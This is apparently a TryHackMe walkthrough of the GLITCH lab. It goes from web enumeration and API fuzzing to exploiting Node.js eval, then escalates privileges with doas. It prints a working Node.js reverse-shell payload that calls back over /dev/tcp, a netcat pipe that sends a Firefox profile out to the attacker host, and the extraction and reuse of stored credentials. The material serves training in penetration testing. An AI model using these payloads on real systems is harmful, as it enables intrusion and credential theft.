Sitemap

GLITCH — TryHackMe Walkthrough

7 min readSep 19, 2026

--

Press enter or click to view image in full size

Web Exploitation, Credential Extraction & Privilege Escalation

Difficulty: Easy
Category: Web Exploitation / Privilege Escalation
Target: 10.49.141.27

Introduction

GLITCH is a beginner-oriented room that focuses on exploiting a vulnerable web application and then performing privilege escalation to obtain root access.

The challenge involves several interesting concepts, including:

  • Nmap enumeration
  • Source-code analysis
  • API endpoint discovery
  • Base64 decoding
  • Cookie manipulation
  • HTTP method enumeration
  • API parameter fuzzing
  • Node.js server-side code execution
  • Reverse shell
  • Firefox credential extraction
  • SUID enumeration
  • doas privilege escalation

Although the room is officially rated Easy, personally I found it a little more challenging than the rating suggests. The individual vulnerabilities are not extremely complicated, but connecting the different stages together requires some enumeration and investigation.

So, let's get started.

1. Starting the Machine

After starting the victim machine, we are provided with the target IP:

10.49.141.27

The first thing I always do is perform a basic Nmap scan to identify open ports and running services.

Nmap Scan

nmap -sC -sV -A 10.49.141.27

The scan showed that port 80 was open and running a web service.

Press enter or click to view image in full size
Nmap Scan

2. Exploring the Web Application

Since port 80 is open, I opened the target in a browser:

http://10.49.141.27/

The page initially displayed an image.

Press enter or click to view image in full size
Initial Web Page

At this point, there wasn't much visible functionality, so I decided to inspect the page source.

3. Finding the Hidden API Endpoint

I opened View Page Source and inspected the HTML and JavaScript references.

While analyzing the source code, I discovered an interesting endpoint:

/api/access
Press enter or click to view image in full size
View Page Source

I accessed the endpoint directly:

http://10.49.141.27/api/access

The server returned:

{"token":"dGhpc19pc19ub3RfcmVhbA=="}

The returned value looked like Base64 encoding.

Press enter or click to view image in full size
API Access Endpoint

4. Decoding the Access Token

I decoded the token using CyberChef with the From Base64 operation.

The decoded value was:

this_is_not_real

So the access token is:

this_is_not_real
Press enter or click to view image in full size
Base64 Decoding

5. Manipulating the Cookie

Next, I intercepted the application's request using Burp Suite.

I noticed that the request contained a cookie related to the token, but the token value was missing.

Since we had already discovered the token:

this_is_not_real

I added this value to the cookie and forwarded the request.

The application responded with a different page.

Press enter or click to view image in full size
Burp Suite Cookie Manipulation

Alternatively, the cookie can be modified directly through the browser:

Inspect → Application → Cookies

I changed the cookie value to:

this_is_not_real
Press enter or click to view image in full size
Modifying Browser Cookie

After refreshing the page, the application exposed additional functionality.

6. Discovering /api/items

I again inspected the page source and JavaScript files.

During enumeration, I found:

http://10.49.141.27/js/script.js

I analyzed the JavaScript file and discovered another API endpoint:

/api/items

So I accessed:

http://10.49.141.27/api/items

However, the GET request did not immediately provide anything useful.

Press enter or click to view image in full size
API Endpoint

7. Investigating HTTP Methods

I captured the request in Burp Suite and sent it to Repeater.

The initial request was:

GET /api/items HTTP/1.1

The server responded with:

304 Not Modified
Press enter or click to view image in full size
GET Request

This wasn't particularly useful, so I went back to the room hint:

What other methods does the API accept?

I changed the request method from:

GET

to:

POST

The server then returned:

HTTP/1.1 400 Bad Request

Along with the following message:

{
"message": "there_is_a_glitch_in_the_matrix"
}

This was an important clue.

Press enter or click to view image in full size
POST Request Response

8. Fuzzing the API Parameter

The response suggested that the API expected another parameter.

Get M Umer Saqib’s stories in your inbox

Join Medium for free to get updates from this writer.

I decided to fuzz the endpoint for possible parameter names.

For this, I used Gobuster with the SecLists API object wordlist:

gobuster fuzz -m POST -u 10.49.141.27/api/items?FUZZ=random \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt > test.txt
Press enter or click to view image in full size
Gobuster Parameter Fuzzing

After the scan completed, I filtered the results:

sort test.txt | uniq -u

One interesting parameter appeared:

cmd

The endpoint therefore became:

http://10.49.141.27/api/items?cmd=random

The server returned a 500 Internal Server Error, which was interesting because it indicated that the parameter was actually being processed by the application.

Press enter or click to view image in full size
Discovering the cmd Parameter

9. Discovering Server-Side eval()

I captured the request in Burp Suite and examined the server’s response more closely.

The API behavior revealed that the supplied cmd value was being processed as server-side code.

The important discovery was that the application was exposing a Node.js server-side eval()-style execution mechanism.

In other words, our input was reaching code execution on the server.

Press enter or click to view image in full size
Server-Side Code Execution

At this point, we had a path toward obtaining a shell.

10. Getting a Reverse Shell

For the lab environment, I used a Node.js command that invokes the system shell and connects back to my machine.

The payload was:

require(‘child_process’).exec(‘bash -c “bash -i >&/dev/tcp/192.168.141.1/4444 0>&1”’)

I URL-encoded the payload before sending it through the HTTP request.

Select a payload ctrl+u for URL-encoded

Before sending the request, I started a Netcat listener on my machine:

nc -lnvp 4444
Press enter or click to view image in full size
payload send

After sending the request, the target connected back to my listener.

We successfully obtained a shell.

Press enter or click to view image in full size
Reverse Shell Listener

11. Upgrading the Shell

The initial shell was not fully interactive, so I upgraded it using Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This gave me a more usable interactive shell.

Press enter or click to view image in full size
Interactive Shell

12. Finding the User Flag

After obtaining shell access, I explored the filesystem.

The user flag was located in the user’s home directory.

Press enter or click to view image in full size
User Flag

At this point, the web exploitation phase was complete, but we still needed to escalate our privileges to root.

13. Looking for Stored Credentials

While inspecting the user’s home directory, I ran:

ls -la

One directory immediately caught my attention:

.firefox

The permissions were:

drwxrwxrwx

Firefox profiles can potentially contain stored browser credentials, cookies, history, and other sensitive information.

This made the directory worth investigating.

Press enter or click to view image in full size
.firefox Directory]

14. Transferring the Firefox Profile

I needed to transfer the Firefox profile from the target machine to my own machine for analysis.

On the target machine, I created a tar stream and sent it through Netcat:

tar cf - .firefox/ | nc 192.168.141.1 5555

On my machine, I started a listener:

nc -lvnp 5555 > firefox.tar

This transferred the Firefox profile to my machine.

Press enter or click to view image in full size
Transferring Firefox Profile

15. Extracting Firefox Credentials

To investigate the Firefox profile, I used the open-source firefox_decrypt project.

After downloading the repository, I ran the tool against the extracted Firefox profile:

Download this repo from github:https://github.com/unode/firefox_decrypt

python3 /home/umer/firefox_decrypt/firefox_decrypt.py /home/umer/Desktop/medium/GLITCH/.firefox

The tool successfully recovered stored credentials:

Website:   https://glitch.thm
Username: 'v0id'
Password: 'love_the_void'
Press enter or click to view image in full size
Recovered Firefox Credentials

We now had credentials for another user:

Username: v0id
Password: love_the_void

16. Switching to the v0id User

I used the recovered credentials to switch to the v0id account.

With access to this account, I started looking for possible privilege-escalation paths.

17. Enumerating SUID Files

One of the standard privilege-escalation checks is searching for binaries with the SUID permission.

I ran:

find / -perm -u=s -type f 2>/dev/null

This searches the filesystem for executable files with the SUID bit enabled.

Among the results, one binary immediately stood out:

/usr/local/bin/doas
Press enter or click to view image in full size
SUID Enumeration

doas is a utility that can be used to execute commands as another user, similar in purpose to sudo.

The important part was that this installation allowed us to execute a command as root.

18. Privilege Escalation with doas

I tested:

/usr/local/bin/doas -u root bash

The system requested a password.

I supplied the password previously recovered for the v0id account:

love_the_void

The command successfully started a root shell.

Press enter or click to view image in full size
Root Shell]

We had successfully escalated from the web application → initial shell → v0id → root.

19. Retrieving the Root Flag

Finally, I navigated to the root user’s home directory:

cd /root

The root flag was located there.

Press enter or click to view image in full size
Root Flag

And that’s it — the GLITCH machine was fully compromised.

--

--

M Umer Saqib
M Umer Saqib